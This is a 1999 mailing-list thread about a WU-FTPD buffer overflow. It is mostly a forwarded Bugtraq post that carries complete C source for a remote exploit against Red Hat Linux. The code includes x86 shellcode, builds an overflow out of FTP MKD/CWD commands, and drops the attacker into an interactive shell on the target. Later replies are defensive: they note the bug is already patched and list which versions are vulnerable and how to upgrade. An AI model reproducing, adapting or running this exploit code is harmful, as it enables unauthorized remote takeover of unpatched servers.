Subject: FW: ftp exploit

From: "Alex Yu" <[email-masked]>
Date: Tue, 23 Mar 1999 02:38:15 -0500

any comments?

> -----Original Message-----
> From: Bugtraq List [mailto:[email-masked]] On Behalf Of Pieter
> Nieuwenhuijsen
> Sent: Monday, March 22, 1999 11:10 AM
> To: [email-masked]
> Subject: ftp exploit
> 
> 
> /*
>         THIS IS PRIVATE! DO NOT DISTRIBUTE!!!!   PRIVATE!
> 
>         WU-FTPD REMOTE EXPLOIT Version wu-2.4.2-academ[BETA-18](1)
>         for linux x86 (redhat 5.2)
> 
>         by duke
>         [email-masked]
> 
>         BIG thanks to stran9er for alot of help with part of the 
> shellcode!
>         i fear stran9er, but who doesn't? !@$ :)
> 
>         Greets to: #!ADM, el8.org users,
> 
>         To exploit this remotely they need to have a directory you can
>         have write privlidges to.. this is the <dir> argument.. you can
>         also use this locally by specifying -l <ur login> -p 
> <urpass> with the
>         <dir> = your home directory or something..(must begin with '/')
>         also alignment arg is how return address  is aligned.. 
> shouldnt need it,
>         but if u do it should be between 0 and 3
> 
>         It takes about 10 seconds after "logged in" so be patient.
>         -duke
> */
> 
> #include <stdio.h>
> #include <string.h>
> #include <netdb.h>
> #include <netinet/in.h>
> #include <sys/socket.h>
> #include <sys/types.h>
> //#include <linux/time.h>
> //#include <sys/select.h>
> #include <sys/time.h>
> #include <unistd.h>
> 
> #define RET 0xbfffa80f
> 
> void logintoftp();
> void sh();
> void mkd(char *);
> int max(int, int);
> long getip(char *name);
> 
> char shellcode[] =
> "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\x31\xc0\xb0\x17\xcd\x80"
> "\x31\xc0\x31\xdb\xb0\x2e\xcd\x80"
> "\xeb\x4f\x31\xc0\x31\xc9\x5e\xb0\x27\x8d\x5e\x05\xfe\xc5\xb1\xed"
> "\xcd\x80\x31\xc0\x8d\x5e\x05\xb0\x3d\xcd\x80\x31\xc0\xbb\xd2\xd1"
> "\xd0\xff\xf7\xdb\x31\xc9\xb1\x10\x56\x01\xce\x89\x1e\x83\xc6\x03"
> "\xe0\xf9\x5e\xb0\x3d\x8d\x5e\x10\xcd\x80\x31\xc0\x88\x46\x07\x89"
> "\x76\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd"
> "\x80\xe8\xac\xff\xff\xff";
> 
> char tmp[256];
> char name[128], pass[128];
> 
> int sockfd;
> 
> int main(int argc, char **argv)
> {
>         char sendln[1024], recvln[4048], buf1[800], buf2[1000];
>         char *p, *q, arg, **fakeargv = (char **) 
> malloc(sizeof(char *)*(argc + 1));
>         int len, offset = 0, i, align=0;
>         struct sockaddr_in cli;
> 
>         if(argc < 3){
>                 printf("usage: %s <host> <dir> [-l name] [-p 
> pass] [-a <alignment>] [-o offset]\n", argv[0]);
>                 exit(0);
>         }
> 
>         for(i=0; i < argc; i++) {
>           fakeargv[i] = (char *)malloc(strlen(argv[i]) + 1);
>           strncpy(fakeargv[i], argv[i], strlen(argv[i]) + 1);
>         }
> 
>         fakeargv[argc] = NULL;
> 
> 
>         while((arg = getopt(argc,fakeargv,"l:p:a:o:")) != EOF){
>             switch(arg) {
>                   case 'l':
>                      strncpy(name,optarg,128);
>                      break;
>                   case 'p':
>                      strncpy(pass,optarg,128);
>                      break;
>                   case 'a':
>                      align=atoi(optarg);
>                      break;
>                   case 'o':
>                      offset=atoi(optarg);
>                      break;
>                   default:
>                      printf("usage: %s <host> <dir> [-l name] [-p 
> pass] [-a <alignment>] [-o offset]\n", argv[0]);
>                      exit(0);
>                      break;
>              }
>         }
> 
>         if(name[0] == 0) strcpy(name, "anonymous");
>         if(pass[0] == 0) strcpy(pass, "[email-masked]");
> 
> 
>         bzero(&cli, sizeof(cli));
>         bzero(recvln, sizeof(recvln));
>         bzero(sendln, sizeof(sendln));
>         cli.sin_family = AF_INET;
>         cli.sin_port = htons(21);
>         cli.sin_addr.s_addr=getip(argv[1]);
> 
>         if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0){
>                 perror("socket");
>                 exit(0);
>         }
> 
>         if(connect(sockfd, (struct sockaddr *)&cli, sizeof(cli)) < 0){
>                 perror("connect");
>                 exit(0);
>         }
>         while((len = read(sockfd, recvln, sizeof(recvln))) > 0){
>                 recvln[len] = '\0';
>                 if(strchr(recvln, '\n') != NULL)
>                         break;
>         }
>         logintoftp(sockfd);
>         printf("logged in.\n");
>         bzero(sendln, sizeof(sendln));
> 
>         for(i=align; i<996; i+=4)
>                 *(long *)&buf2[i] = RET + offset;
>         memcpy(buf2, "a", align);
>         memset(buf1, 0x90, 800);
>         memcpy(buf1, argv[2], strlen(argv[2]));
>         mkd(argv[2]);
>         p = &buf1[strlen(argv[2])];
>         q = &buf1[799];
>         *q = '\x0';
>         while(p <= q){
>                 strncpy(tmp, p, 200);
>                 mkd(tmp);
>                 p+=200;
>         }
>         mkd(shellcode);
>         mkd("bin");
>         mkd("sh");
>         p = &buf2[0];
>         q = &buf2[999];
>         while(p <= q){
>                 strncpy(tmp, p, 250);
>                 mkd(tmp);
>                 p+=250;
>         }
>         sh(sockfd);
> 
> 
>         close(sockfd);
>         printf("finit.\n");
> }
> 
> void mkd(char *dir)
> {
>         char snd[512], rcv[1024];
>         char blah[1024], *p;
>         int n;
>         struct timeval tv;
> 
>         fd_set fds;
>         bzero(&tv, sizeof(tv));
>         tv.tv_usec=50;
>         bzero(blah, sizeof(blah));
>         p = blah;
>          for(n=0; n<strlen(dir); n++){
>                 if(dir[n] == '\xff'){
>                         *p = '\xff';
>                         p++;
>                 }
>                 *p = dir[n];
>                 p++;
>         }
>         sprintf(snd, "MKD %s\r\n", blah);
>         write(sockfd, snd, strlen(snd));
>         bzero(snd, sizeof(snd));
>         sprintf(snd, "CWD %s\r\n", blah);
>         write(sockfd, snd, strlen(snd));
>         bzero(rcv, sizeof(rcv));
> 
>         FD_ZERO(&fds);
>         FD_SET(sockfd,&fds);
>         select(sockfd+1,&fds,NULL,NULL,&tv);
> 
>         if (FD_ISSET(sockfd,&fds))
>                 while((n = read(sockfd, rcv, sizeof(rcv))) > 0){
>                         rcv[n] = 0;
>                         if(strchr(rcv, '\n') != NULL)
>                                 break;
>                 }
>         return;
> }
> 
> void logintoftp()
> {
>         char snd[1024], rcv[1024];
>         int n;
> 
>         printf("logging in with %s: %s\n", name, pass);
>         memset(snd, '\0', 1024);
>         sprintf(snd, "USER %s\r\n", name);
>         write(sockfd, snd, strlen(snd));
> 
>         while((n=read(sockfd, rcv, sizeof(rcv))) > 0){
>                 rcv[n] = 0;
>                 if(strchr(rcv, '\n') != NULL)
>                         break;
>         }
> 
>         memset(snd, '\0', 1024);
>         sprintf(snd, "PASS %s\r\n", pass);
>         write(sockfd, snd, strlen(snd));
> 
>         while((n=read(sockfd, rcv, sizeof(rcv))) > 0){
>                 rcv[n] = 0;
>                 if(strchr(rcv, '\n') != NULL)
>                         break;
>         }
>         return;
> }
> 
> void sh()
> {
>         char snd[1024], rcv[1024];
>         fd_set rset;
>         int maxfd, n;
> 
>         strcpy(snd, "cd /; uname -a; pwd; id;\n");
>         write(sockfd, snd, strlen(snd));
> 
>         for(;;){
>                 FD_SET(fileno(stdin), &rset);
>                 FD_SET(sockfd, &rset);
>                 maxfd = max(fileno(stdin), sockfd) + 1;
>                 select(maxfd, &rset, NULL, NULL, NULL);
>                 if(FD_ISSET(fileno(stdin), &rset)){
>                         bzero(snd, sizeof(snd));
>                         fgets(snd, sizeof(snd)-2, stdin);
>                         write(sockfd, snd, strlen(snd));
>                 }
>                 if(FD_ISSET(sockfd, &rset)){
>                         bzero(rcv, sizeof(rcv));
>                         if((n = read(sockfd, rcv, sizeof(rcv))) == 0){
>                                 printf("EOF.\n");
>                                 exit(0);
>                         }
>                         if(n < 0){
>                                 perror("read");
>                                 exit(-1);
>                         }
>                         fputs(rcv, stdout);
>                 }
>         }
> }
> 
> int max(int x, int y)
> {
>         if(x > y)
>                 return(x);
>         return(y);
> }
> 
> long getip(char *name)
> {
>         struct hostent *hp;
>         long ip;
> 
>         if ((ip=inet_addr(name))==-1)
>         {
>                 if ((hp=gethostbyname(name))==NULL)
>                 {
>                         fprintf(stderr,"Can't resolve host.\n");
>                         exit (1);
>                 }
>                 memcpy(&ip, (hp->h_addr), 4);
>         }
>         return ip;
> }
>

---

From: Russ Allbery <[email-masked]>
Date: 23 Mar 1999 02:15:36 -0800

> any comments?

It's an exploit script for the path overflow bug that's already been
announced by CERT, been on all the security lists, and has already been
fixed in the latest version of every wu-ftpd variant that I'm aware of as
well as being the impetus for the final mainline wu-ftpd release?

-- 
Russ Allbery ([email-masked])         <URL:http://www.eyrie.org/~eagle/>

---

From: Gregory A Lundberg <[email-masked]>
Date: Tue, 23 Mar 1999 10:44:05 -0500 (EST)

On 23 Mar 1999, Russ Allbery wrote:

> announced by CERT, been on all the security lists, and has already
> been fixed in the latest version of every wu-ftpd variant that I'm
> aware of as well as being the impetus for the final mainline wu-ftpd
> release?

Correct.  This is a full exploit against Redhat 5.2 (the original advisory
was based upon a test, not an exploit).

My comment: This posting proves why you need to keep up with the CERT
mailing list, if not Bugtraq and other lists.  As often heppens, the
exploit followed the discovery of the vulnerability by several weeks.
While it sometimes happens that exploits are distributed before the daemon
authors are notified and public security announcement made, this was not
the case here.

My testing shows:

This is an exploit using the buffer overflow described in

  CERT Advisory CA-99.03 - FTP-Buffer-Overflows

Available from htp://www.CERT.org/

It is directed solely at Redhat CD 4.2 Linux systems running a clean,
default install.  It was not successfull on unclean 5.2 systems, the
pre-5.2 systems I tested on, or when I built the daemon by-hand instead of
using  a Redhat (S)RPM.  My testing showed, while none of the systems I
have available were exploitable, the exploit WOULD HAVE WORKED but failed
for identifiable reasons.

Given working code for Redhat 4.2, it should be a fairly simply matter to
port to non-Linux or non-5.2 systems.

WHO IS VULNERABLE
-----------------

 - Systems running ALL versions of WU-FTPD _prior_ to 2.4.2 (final),
   including all 2.4.2-beta versions, ARE VULNERABLE, except as noted
   below:

 - Systems with proper upload clauses are partially protected.  Many
   systems do not use proper upload clauses for real/guest users and are
   NOT protected from abuse by their local users.

 - Systems with proper permissions are partially protected.  Most systems
   do not use proper permissions for real/guest users since they would
   prevent use by Telnet/SSH/Shell .. such systems are NOT protected from
   their local users.

WHO IS NOT VULNERABLE
---------------------

 - Systems running 2.4.2 (final) are protected against _this_ bug.  Such
   systems should upgrade to VR16 for maximum security; a number of other
   bugs and security problems have been fixed in VR16.

 - Systems running 2.4.2-beta-18-VR10 or later are protected.  Anyone
   running VR10 through VR13 should upgrade to VR14 or later at your
   earliest convenience.

 - Systems running BeroFTPD 1.2.0 or later are NOT vulnerable.  All
   BeroFTPD systems should upgrade to the current version (1.3.4) at their
   earliest conenience.  Anyone running a vulnerable system with NEWVIRT,
   will want to immedeately upgrade to BeroFTPD.

The location of the latest version of wu-ftpd can be found in the 
directory
 
      ftp://ftp.vr.net/pub/wu-ftpd/
 
wu-ftpd Resource Center:  http://www.landfield.com/wu-ftpd/
wu-ftpd FAQ:              http://www.cetis.hvu.nl/~koos/wu-ftpd-faq.html
wu-ftpd list archive:     http://www.landfield.com/wu-ftpd/mail-archive/

-- 

Gregory A Lundberg              Senior Partner, VRnet Company
1441 Elmdale Drive              [email-masked]
Kettering, OH 45409-1615 USA    1-800-809-2195